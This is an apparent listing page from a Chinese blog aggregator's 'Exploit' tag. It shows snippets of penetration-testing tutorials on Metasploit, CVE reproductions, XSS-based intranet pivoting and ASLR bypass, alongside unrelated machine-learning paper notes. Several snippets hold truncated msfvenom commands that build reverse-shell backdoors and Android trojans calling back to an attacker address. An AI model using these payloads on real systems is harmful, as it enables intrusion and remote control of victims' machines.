Exploit 第22页

机器学习教程之半监督学习 Tri-training方法 (论文、数据集、代码)

这里介绍一下周志华教授的Tri-triaining方法，在实现上非常的简单好用，在文末会有代码、数据集的链接原文在这里Tri-training:exploitingunlabeleddatausingthreeclassifiers

Liangjun_Feng·2020-07-10 22:37

CVE-2011-0762环境搭建与EXP利用

拒绝服务漏洞危害：通过发送特殊构造的数据包、利用漏洞使应用程序崩溃条件：连接上vsftpd才能发包发现时间：2011-03-01需求：找到EXP运行发送的数据日志中的特征EXP地址https://www.exploit-db.com

Js_123456789·2020-07-10 22:33

甲方人员Shiro漏洞检测工具

高能预警本工具适用于甲方安全人员进行漏洞检测，切勿非法使用，如果使用者进行恶意破坏，笔者概不负责，且一经查实，必向相关安全机关上报，切记，切记~工具下载下载地址：https://github.com/feihong-cs/ShiroExploit_GUI

FLy_鹏程万里·2020-07-10 16:13

vmware漏洞之二——简评：实战VMware虚拟机逃逸漏洞

下文取自360，是vmwareexploit作者自己撰写的。本文从实验角度对作者的文章进行解释，有助于学习和理解。文章虚线内或红色括号内为本人撰写。

weixin_30379531·2020-07-10 06:52

CVE-2017-17562 GoAhea远程代码执行反弹shell姿势

文章：https://www.elttam.com.au/blog/goahead/POC：https://www.exploit-db.com/exploits/43360/攻击机windows10IP

Ban0yan·2020-07-10 05:00

Linux和Windows堆栈溢出利用对比

1．返回点的定位在Windows下，F.ZH的在它经典的《菜鸟版Exploit编写指南之一》的文章中，详细的讲述了利用报错对话框精确定位溢出返回点的方法。

PolluxAvenger·2020-07-10 03:46

ysoserial exploit/JRMPClient原理剖析

0前言ysoserial中的exploit/JRMPClient是作为攻击方的代码，一般会结合payloads/JRMPLIstener使用，攻击流程就是：1、先往存在漏洞的服务器发送payloads/

hldfight·2020-07-10 01:11

ysoserial exploit/JRMPListener原理剖析

ysoserialexploit/JRMPListener原理剖析0前言1payloads/JRMPClient1.1Externalizable1.2生成payload1.3gadget链分析2exploit

hldfight·2020-07-10 01:11

ClusterNet: Detecting Small Objects in Large Scenes by Exploiting Spatio-Temporal Information

ClusterNet:DetectingSmallObjectsinLargeScenesbyExploitingSpatio-TemporalInformation阅读笔记摘要摘要1.Introduction1.1WAMI

牛牛阳·2020-07-09 22:02

Chrome 爆出最新漏洞，快更新你的 Chrome

原文：https://securelist.com/chrome-0-day-exploit-cve-2019-13720-used-in-operation-wizardopium/94866/译者：

瑟荻·2020-07-09 20:18

电脑主板资料库 05【转至www.ongood.com.tw】【FreeXploiT收集整理】

MB(主機版)資料第五頁BIOS刷新－問題分析及解決(取自BIOS維修網站)近不少網友來信反映，在正確昇級BIOS時，不是提示UnknownFlashType（無法測知晶片型號）無法刷新，就是刷新后，重啟時黑屏無法啟動機器。這里所謂的正確刷新，即是：下載正確的BIOS文件，使用正確的刷新程序，刷新過程沒有錯誤提示，但重啟時黑屏無法啟動系統。眾多網友對此問題無法解釋，由於找不到原因所在，因此在昇級和

freexploit·2020-07-09 16:59

metasploit-学习8--显示exploit的模块的所有exploit信息

NameDisclosureDateRankDescription----------------------------------aix/rpc_cmsd_opcode212009-10-07greatAIXCalendarManagerServiceDaemon(rpc.cmsd)Opcode21BufferOverflowaix/rpc_ttdbserverd_realpath2009-0

forgetive·2020-07-09 16:50

metasploit文件格式漏洞渗透攻击（成功生成doc）

msf>usewindows/fileformat/ms11_006_createsizeddibsectionmsfexploit(ms11_006_createsizeddibsection)>setpayloadwindows

feier7501·2020-07-09 15:11

Advanced SQL functions in Oracle 10g

DesignedtoexploitOracle10g'sSQL,thisbookisacomprehensivelookatOracle10g'sanalyticalfunctions,MODELstatements

topmvp·2020-07-09 09:00

速修复！严重的F5 BIG-IP 漏洞 PoC 已发布

编译：奇安信代码卫士团队就在F5Networks公司发布严重的BIG-UP漏洞的两天后，安全研究人员已经开始公布PoCexploit，说明利用这些设备有多容易。

奇安信代码卫士·2020-07-09 08:41

window10本地电脑使用Apache Bench简称（ab）工具进行web端网站测试

工具下载地址将下好的压缩包放在你的任意磁盘中，并解压出压缩包里的，我是解压缩到了D盘中使用window10命令行工具打开ab测试工具第一步：第二步：使用命令行进入ab测试工具的bin目录命令如下（因为我把软件ab包级解压缩到了D盘的\Exploit

特别剑·2020-07-08 20:49

通过修改FILE_OBJECT文件路径来绕过杀毒软件查杀的Post-Exploitation技术

这种不一致性导致McAfee开发了一种新的Post-Exploitation绕过技术，我们称之为“进程重新映像（ProcessReimaging）”。这

systemino·2020-07-08 07:32

【渗透测试笔记】之【弱点扫描】

已知漏洞漏洞库：https://www.exploit-db.com/美国国家弱点漏洞库：https://nvd.nist.gov/也可命令利用searchsploittomcat搜索tomcat相关已知漏洞利用脚本在

Rookie8j·2020-07-08 03:06

Trojan

msfvenommsfconsoleuseexploit/multi/handlersetpayload****/meterpreter/reverse_tcpshowoptionssetLHOST=192.168.0.106setLHOST192.168.0.106setLPORT5555androidmsfvenom-pandroid

钞sir·2020-07-08 01:26

#每天一篇论文#（223/365）实时video深度估计的时间关联研究

Exploitingtemporalconsistencyforreal-timevideodepthestimation∗摘要通过利用来自深度卷积神经网络（CNN）的分层特征，最近已经显着改善了静态图像的深度估计的准确性

流浪机器人·2020-07-07 20:20

利用msfvenom与metasploit入侵windows

kali输入命令msfvenom-pwindows/meterpreter/reverse_tcpLHOST=IP端口-fexe-o/root/name.exe然后msf配置过程你们懂的msf>useexploit

qq284489030·2020-07-07 19:00

演示使用Metasploit入侵Windows

启动msfconsole：#msfconsole选择一个漏洞：msf>searchplatform:windowsxpsp3exploit/windows/smb/ms08_067_ne

qq284489030·2020-07-07 19:59

BeEF 介绍

0×00前言BeEF，全称TheBrowserExploitationFramework，是一款针对浏览器的渗透测试工具。目前对其测试的文章不是很多，所以希望通过本次测试给大家带来全新的认识。

jsd2honey·2020-07-07 12:01

使用sqlmap查找系统sql注入漏洞

sqlmap:DetectandexploitaSQLinjectionweb程序上线后，一定会受到各种扫描和攻击，与其坐以待毙，不如主动利用攻击工具找到系统的问题。

loloxiaoz·2020-07-07 09:13

kaliMSF笔记

/helpvulnsMSF控制台命令Banner、Colorconnect类似ncshowauxiliary/exploits等，显示

fhl5203·2020-07-07 07:09

metasploit文件格式漏洞渗透攻击（成功获得shell）

环境BT5R1msf>usewindows/fileformat/ms11_006_createsizeddibsectionmsfexploit(ms11_006_createsizeddibsection

feier7501·2020-07-07 07:48

CVE-2018-8120 Windows LPE exploit

原作者GitHub地址：https://github.com/unamer/CVE-2018-8120这个版本里仅支持Win7x32,Win7x64,Win2008x32,Win2008R2x32,Win2008R2Datacenterx64,Win2008Enterprisex64，不支持WindowsXP和Win2003修改版GitHub地址：https://github.com/alpha1

皮一下怎么了·2020-07-07 05:44

The PING of Death and Other DoS Network Attacks

InmylastarticleonHowtoPreventThreatsandAttacksonYourCiscoNetworkIexplainedindetailthevariousreconnaissancetechniquesthatanattackercanexploit.TodayIwillfocusonwhatisknownasDenial-of-Service

天天向上_好好学习·2020-07-07 05:16

大神教你如何渗透自己的电脑--just for fun

Socialengineeringtoolkit(SET)isanexploitationframeworkforsocial

xiaojueguan·2020-07-07 02:17

[Economist] 流媒体碎片（二）

Streamslip流媒体碎片Thecleverestpart,though,isthat,unlikeothereffortstoexploitleakyvideostreams,itdoesnotactuallyneeddirectaccesstothestreamitself

Prongs·2020-07-06 23:15

【论文阅读】Deep Reasoning with Knowledge Graph for Social Relationship Understanding

MotivationExistingworkseithermerelyfixateontheregionsofpersonsofinterest[Sunetal.,2017]orexploitcategory-agnosticproposalsascontextualinformation

LeviAckerman·2020-07-06 22:42

什么是Liunx Shellcode

为什么shellcode对于一个exploit来说这么重要呢?Shellcode到底是什么东西呢?简单的说，Shellcode是一段能够完成某种特定功能的二进制代码。具体完成什

embeddedfly·2020-07-06 21:06

ThinkPHP5.0.21&5.1.* 代码执行和命令执行漏洞利用

*exploitcodeexecutionandcommandexecutionvulnerabilities5.0.21?

weixin_34414196·2020-07-06 19:42

[原创]K8 Struts2 Exp 20170310 S2-045(Struts2综合漏洞利用工具)

工具:K8Struts2Exploit组织:K8搞基大队[K8team]作者:K8拉登哥哥博客:http://qqhack8.blog.163.com发布:2014/7/3110:24:56简介:K8Struts2

weixin_30446613·2020-07-06 19:00

深度强化学习—— 译 Deep Reinforcement Learning(part 0: 目录、简介、背景)

深度强化学习——概述翻译说明综述1简介2背景2.1人工智能2.2机器学习2.3深度学习2.4强化学习2.4.1ProblemSetup2.4.2值函数2.4.3探索与利用(Explorationvs.Exploitation

zxxRobot·2020-07-06 14:34

语义分割--LinkNet: Exploiting Encoder Representations for Efficient Semantic Segmentation

LinkNet:ExploitingEncoderRepresentationsforEfficientSemanticSegmentationhttps://arxiv.org/abs/1707.03718Torch7code

O天涯海阁O·2020-07-06 12:38

内网渗透一：利用Xss漏洞进入内网

0x01:科普Beef目前欧美最流行的WEB框架攻击平台，全称：TheBrowserExploitationFrameworkProject.Beef利用简单的XSS漏洞，通过一段编写好的JavaScript

Xysoul·2020-07-06 09:05

视频分类论文

VideoClassificationimage-basedmethodsZhaS,LuisierF,AndrewsW,etal.ExploitingImage-trainedCNNArchitecturesforUnconstrainedVideoClassification

Xiacedar·2020-07-06 09:26

内网渗透之——msf工具使用

模块介绍：exploits：攻击脚本payloads：攻击载荷(攻击效果控制)auxiliaru：辅助模块(扫描工具等)post：后渗透模块(提取信息)encoders编码模块nops:无操作生成器2.

卖N孩的X火柴·2020-07-06 07:14

Linux (x86) Exploit 开发系列教程之七绕过 ASLR -- 第二部分

绕过ASLR–第二部分译者：飞龙原文：BypassingASLR–PartII本文承接@hackyzh翻译的第六篇。预备条件：经典的基于栈的溢出VM配置：Ubuntu12.04(x86)这篇文章中，让我们看看如何使用爆破技巧，来绕过共享库地址随机化。什么是爆破？在这个技巧中，攻击者选择特定的Libc基址，并持续攻击程序直到成功。假设你足够幸运，这个技巧是用于绕过ASLR的最简单的技巧。漏洞代码：/

布客飞龙·2020-07-06 07:02

安全工具checksec.sh

www.trapkit.de/tools/checksec.html二.使用方法ModernLinuxdistributionsoffersomemitigationtechniquestomakeithardertoexploitsoftwarevulnerabilitiesreliably.MitigationssuchasRELRO

淡泊的猪·2020-07-06 07:09

《请君入瓮——APT攻防指南之兵不厌诈》目录—导读

攻防指南之兵不厌诈SeanBodmer,Dr.MaxKilger,GregoryCarpenterandJadeJonesReverseDeception:OrganizedCyberThreatCounter-ExploitationISBN

weixin_34403693·2020-07-06 01:32

显著性论文学习阶段总结（二）

1.AliBorji,LaurentItti,ExploitingLocalandGlobalPatchRaritiesforSaliencyDetection,CVPR20121)系统框架：2)算法思路

weixin_33941350·2020-07-05 23:13

pwntools安装使用方法

pwntools是一个CTF框架和漏洞利用开发库，用Python开发，由rapid设计，旨在让使用者简单快速的编写exploit。

weixin_30896763·2020-07-05 22:17

kali linux metasploit的web渗透测试（二）-内网火狐浏览器渗透拿权限

利用的模块有：exploit/multi/browser/firefox_webidl_injection，exploit/firefox/local/exec_s

limit_anonymous·2020-07-05 18:27

【1】Exploiting Linear Structure Within Convolutional Networks for Efficient Evaluation -- NIPS2014

1404.0736.pdf代码地址:https://cs.nyu.edu/~denton/compress_conv.zipContribution.AcollectionofgenericmethodstoexploittheredundancyinherentindeepCNNs.Showingempiricalspeedupsonconv

bubbleoooooo·2020-07-05 17:44

概率期望总结（题目合集）

1、2018-2019ACM-ICPCNordicCollegiateProgrammingContest(NCPC2018)E-ExplosionExploit（dfs+概率）题意：我方n人，血量已知

Self-Discipline·2020-07-05 14:30

kali攻防第2章内网称霸之渗透安卓系统

msfconsole2、在安卓手机上安装一个自己生成的apk木马程序3、利用msf工具来远程连接Android系统1）启动msf（注意这里是链接msf就行了不需要进入数据库）选择相应的模块msf>useexploit

随行之旅·2020-07-05 13:41

利用Metasploit建立持续性会话后门

维持会话建立服务后门首先先来生成一个msf的exe后门msf>msfvenom-pwindows/meterpreter/reverse_tcpLHOST=IP-fexe-o/root/桌面/test.exe//生成后门msf>useexploit

大方子·2020-07-05 01:28

推荐频道

Exploit

机器学习教程 之 半监督学习 Tri-training方法 (论文、数据集、代码)